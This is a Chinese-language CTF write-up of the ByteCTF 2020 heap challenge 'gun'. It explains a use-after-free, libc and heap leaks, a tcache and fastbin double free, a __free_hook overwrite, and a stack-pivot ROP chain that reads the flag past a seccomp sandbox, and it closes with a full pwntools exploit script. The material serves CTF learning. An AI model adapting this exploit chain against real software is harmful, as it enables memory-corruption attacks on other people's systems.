风之栖息地

2020 bytectf gun writeup

字数统计: 1.6k阅读时长: 7 min
2020/10/26 Share

这周打了一下ByteCTF,发现差距还是很大的,现在的很多堆菜单题都上2.31,新版本的题目需要多熟悉熟悉。

分析

checksec保护全开,逆向的时候发现其中有prctl函数,用seccomp-tools查看沙箱逻辑。

看这个逻辑只能使用orw的方法获得flag。整个程序主要由三个功能,射击子弹,上膛子弹,购买子弹,购买子弹会malloc,同时有一次向chunk写数据的机会,购买的子弹会通过一个18字节大小的数据结构管理。chunk指向分配的堆块,next指向其他堆块形成一个链表,flag是标志位分别有0,1,2,表示不同的状态。

1
2
3
4
5
struct {
char* chunk;
char* next;
int flag; // 0为发射之后 1为购买状态 2为上膛状态
}

上膛子弹会把子弹放进弹夹中,如果弹夹中已经有子弹,则会使用next进行链接,next指向弹夹中的子弹,然后把这个子弹放进弹夹中,构成一个由子弹组成的单向链表,最后改变标志位为2。发射子弹会从弹夹中的子弹开始free,free完成之后弹夹会填入next指向的下一个子弹,重复一个指定的次数。每次射击会输出这个子弹的chunk内容,这给了我们泄露的机会。

另外一个可以利用的点在射击free中,没有置空指针,存在UAF的问题。

除了上面的这些,有一个细节点,射击完成的子弹数据结构中的内容都不会清除,这意味着next指针的内容是保留下来的,这个细节点成为了之后构造double free的基础。

泄露libc和heap

因为有tcache的原因,要让chunk进入unsorted bin中需要让tcache填满,我们的思路是填满tcache之后让chunk进入unsorted bin中,再次分配小chunk就能拿到带有libc地址的chunk。malloc(0x80)分配8次,装载之后射击8次,从0到7装载会让7号子弹首先释放,又因为tcache是和fastbin类似的FILO,最后0号被分配到了unsorted bin中,其余7个在tcache中。

随后分配小chunk,拿到带有libc地址的chunk,这里malloc(0x20)会切分unsorted bin。

装载并发射这个子弹,我们就能泄露到libc地址。而要泄露到heap的地址,这里要分配tcache中的chunk,然后用同样的方法装载并发射,泄露到heap地址。

构造double free

在我们面前的问题是这道题目的free都是按照链表顺序进行的,而链表只能通过上膛的方式改变。这里的构造利用了之前上膛操作遗留下来的next指针构造double free,如下图:

0x555555558060是之前填充tcache时遗留下的指向首个chunk的指针,如果我们再次用类似的方法填充tcache,但是让弹夹中留着第二个chunk的地址,这样我们装载第一个chunk就会让next指向第二个chunk,同时第二个chunk原来就是指向第一个chunk的,构造出这样的链表后射击3次,free掉的chunk进入fastbin就完成了经典的double free。

要使用这个double free,还需要把tcache清空,清空之后继续申请从fastbin获得chunk,剩下的chunk会进入到tcache中,但是这个进入顺序会是fastbin弹出顺序的倒转,最终的结果会是和fastbin一样的排序。清空后的第一次申请,把目标地址free_hook写入指针中,形成下面的链接顺序。

再次申请3次,就能拿到目标chunk,写入我们的gadget。

构造ROP

因为题目设置有沙箱,没有办法使用one_gadget拿到shell,需要自己构造ROP来完成利用。由于有heap地址,我们能申请chunk,把ROP写入其中,在free_hook中填入的gadget跳转到目标堆地址中执行ROP链。

1
2
3
4
5
6
7
8
9
.text:000000000008A754                 mov     rax, [rdi+0A0h]
.text:000000000008A75B push rbx
.text:000000000008A75C mov rbx, rdi
.text:000000000008A75F mov rdx, [rax+20h]
.text:000000000008A763 cmp rdx, [rax+18h]
.text:000000000008A767 jbe short loc_8A788
.text:000000000008A769 mov rax, [rax+0E0h]
.text:000000000008A770 mov esi, 0FFFFFFFFh
.text:000000000008A775 call qword ptr [rax+18h]

这里有一段有用的gadget,通过rdi控制rax,rax又能控制rdx。执行free时的rdi刚好是要free的指针,这里就可以是我们申请到的拿来写ROP的chunk地址。

光有call虽然能控制rip,但rsp无法控制只能依靠其他gadget,在能控制rdx的条件下,使用0x000000000005e650 : mov rsp, rdx ; ret就能同时控制rip和rsp到我们想要的位置。最后chunk的具体地址,通过调试知道我们前面的操作让heap到了0x870的偏移。

exp

这里借用了shiyh师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
from pwn import *

elf = ELF('./gun')
libc = elf.libc

if args['D']:
context.log_level = 'debug'

if args['R']:
io = remote('123.57.209.176', '30772')
else:
io = process('./gun')

def shoot(time):
io.recvuntil(b'Action> ')
io.sendline('1')
io.recvuntil(b'Shoot time: ')
io.sendline(str(time))
#p.recvuntil('bullets left\n')
def load(index):
io.recvuntil(b'Action> ')
io.sendline('2')
io.recvuntil(b'Which one do you want to load?')
io.sendline(str(index))
def buy(price,name):
io.recvuntil(b'Action> ')
io.sendline('3')
io.recvuntil(b'Bullet price: ')
io.sendline(str(price))
io.recvuntil(b'Bullet Name: ')
io.sendline(name)
def quit():
io.recvuntil(b'Action> ')
io.sendline('4')


io.recvuntil(b'Your name: ')
io.sendline(b'shiyh')


for i in range(8):
buy(0x80,'')
for i in range(8):
load(i)
shoot(8)

# use unsorted bin leak libc and tcache leak heap
buy(0x20,'')
load(0)
shoot(1)
io.recvuntil('Pwn! The ')
t = io.recvuntil(' bullet')[:-7]
libc_base = u64(t.ljust(8,b'\x00')) - 0x1ebc60
free_hook = libc_base + 0x1EEB28
log.info('libc_base : %s' % hex(libc_base))
buy(0x80,'')
load(0)
shoot(1)
io.recvuntil('Pwn! The ')
t = io.recvuntil(' bullet')[:-7]
heap = u64(t.ljust(8,b'\x00'))-1008
log.info('heap : %s' % hex(heap))
#pause()
# full tcache
for i in range(9):
buy(0x20,'')
for i in range(7):
load(i+2)
shoot(7)
load(0)
shoot(3) # for double free


for i in range(7):
buy(0x20,'')
buy(0x20,p64(free_hook))#7
buy(0x20,'')#8
buy(0x20,'')#9
### ROP
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_rbx = libc_base + 0x0000000000162866
pop_rax = libc_base + 0x000000000004a550
syscall = libc_base + 0x00000000000E62F9
flag_addr = heap + 2144 + 0x10
buf = heap + 2144 + 8 +0x10
payload = b'flag' + p32(0) + b'\x00'*0x18 + p64(flag_addr + 0x100) + b'\x00'*0x78 #0xa0
payload += p64(flag_addr) + b'\x00'*0x38 #0xe0
payload += p64(flag_addr + 0xe0) + b'\x00'*0x10 + p64(libc_base + 0x000000000005e650) #0x100
ROPchain = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
ROPchain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(0x30) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall)
ROPchain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(0x30) + p64(0) + p64(pop_rax) + p64(1) + p64(syscall)
payload += ROPchain
buy(0x300,payload)#10
load(10)
###
#pause()
gadget = libc_base + 0x8A754
buy(0x20,p64(gadget))
#pause()
shoot(1) # free(ptr10) rdi=chunk10_addr


io.interactive()
'''
0x000000000005e650 : mov rsp, rdx ; ret
0x0000000000026b72 : pop rdi ; ret
0x0000000000027529 : pop rsi ; ret
0x0000000000162866 : pop rdx ; pop rbx ; ret
0x000000000004a550 : pop rax ; ret
.text:000000000008A754 mov rax, [rdi+0A0h]
.text:000000000008A75B push rbx
.text:000000000008A75C mov rbx, rdi
.text:000000000008A75F mov rdx, [rax+20h]
.text:000000000008A763 cmp rdx, [rax+18h]
.text:000000000008A767 jbe short loc_8A788
.text:000000000008A769 mov rax, [rax+0E0h]
.text:000000000008A770 mov esi, 0FFFFFFFFh
.text:000000000008A775 call qword ptr [rax+18h]
'''
CATALOG
  1. 1. 分析
  2. 2. 泄露libc和heap
  3. 3. 构造double free
  4. 4. 构造ROP
  5. 5. exp